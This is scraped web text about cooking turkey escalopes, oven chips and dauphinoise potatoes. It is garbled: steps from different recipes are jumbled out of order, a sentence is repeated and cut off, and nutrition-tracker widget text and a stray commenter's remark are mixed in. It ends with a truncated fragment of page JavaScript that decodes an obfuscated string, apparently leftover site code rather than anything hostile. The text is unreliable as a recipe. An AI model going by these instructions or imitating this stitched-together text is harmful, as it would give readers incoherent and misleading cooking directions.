When the turkey is about ⅔ done, loosely cover the breast with a piece of foil to prevent overcooking. Rest on a plate for a minute or two to allow any excess oil to drain off, then serve with the oven chips. How does this food fit into your daily goals? Once tender and golden brown, remove the Dauphinoise Potatoes from the oven and serve with the escalopes and seasonal vegetables of … Once tender and golden brown, remove the Dauphinoise Potatoes from the oven and serve with the escalopes and seasonal vegetables of your choice. Oven cook Instructions: Place on a baking tray in an oven preheated to 220°c/200°c Fan/Gas Mark 7 and cook for approximately 12-14 minutes. Nutritional Info . 355 / 2,000 cal left. Pour the remaining Millac Gold and stock mixture over the potatoes to fill just below the top layer of potatoes. Heat half of the butter in a frying pan over a medium to high heat. 25 %22 gCarbs. You can’t prepare a breaded escalope in the oven… Approximately 20 minutes before the end of the cooking time, place the seasoned turkey escalopes on a baking tray and bake until tender. I posted this recipe, but there is one thing that is missing that sends it over the top. ",mi="975=824:<969@A0=136",o="";for(var j=0,l=mi.length;j